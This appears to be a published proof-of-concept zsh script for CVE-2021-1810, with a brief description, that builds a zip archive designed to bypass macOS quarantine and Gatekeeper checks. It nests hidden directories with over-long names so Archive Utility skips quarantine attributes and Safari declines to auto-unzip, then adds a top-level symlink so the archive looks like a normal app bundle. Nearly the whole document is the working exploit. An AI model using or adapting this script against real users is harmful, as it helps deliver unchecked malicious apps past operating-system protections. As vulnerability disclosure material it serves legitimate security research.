Authored by Rasmus Sten | Site labs.f-secure.com

This script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.

advisories | CVE-2021-1810

#!/bin/zsh -e

# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.

payload=FakeApp.app

createddir=""
pathlen=0

# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}

if ! [ -x "$payload" ] ; then
echo "Need a payload ("$payload") in pwd to continue!"
exit 1
fi

payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done

# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile

# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.

payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))

# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .

# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining

cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload

rm -f ${targetdir}/poc.zip

# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip